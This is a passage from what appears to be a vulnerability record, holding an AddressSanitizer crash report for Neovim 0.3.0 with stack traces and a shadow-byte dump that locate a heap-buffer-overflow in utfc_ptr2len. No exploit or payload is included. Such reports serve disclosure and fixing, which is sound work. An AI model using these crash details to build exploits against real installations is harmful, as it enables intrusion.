/home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4459:27\n    #3 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #4 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #5 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #6 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #7 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #10 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #11 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #12 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #13 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #14 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #15 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #16 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #17 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #18 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #19 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #20 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #21 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #22 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #23 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #24 0x7fd6a26ca082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #25 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x602000008258 is located 4 bytes to the right of 4-byte region [0x602000008250,0x602000008254)\nallocated by thread T0 here:\n    #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n    #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n    #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n    #3 0x9db6ed in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:196:15\n    #4 0x9db768 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:214:17\n    #5 0x9dbebb in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:433:10\n    #6 0xd3ca44 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:66:20\n    #7 0x9d24c3 in ml_replace /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:2325:12\n    #8 0x6ce68f in f_setline /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:14585:14\n    #9 0x677da5 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6373:11\n    #10 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #11 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #15 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #16 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #17 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #18 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #19 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #20 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #21 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #22 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #23 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #24 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #25 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #26 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #27 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #28 0x7fd6a26ca082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa 00 01 fa fa fd fd\n  0x0c047fff9000: fa fa 00 01 fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047fff9010: fa fa 00 00 fa fa 00 07 fa fa 00 04 fa fa 06 fa\n  0x0c047fff9020: fa fa 00 03 fa fa 00 01 fa fa 00 01 fa fa fd fd\n  0x0c047fff9030: fa fa 00 02 fa fa fd fa fa fa fd fa fa fa fd fa\n=>0x0c047fff9040: fa fa 00 fa fa fa 01 fa fa fa 04[fa]fa fa fd fd\n  0x0c047fff9050: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9060: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9070: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff9090: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5712==ABORTING", "creation_timestamp": "2026-09-28T12:42:21.000000Z"}]}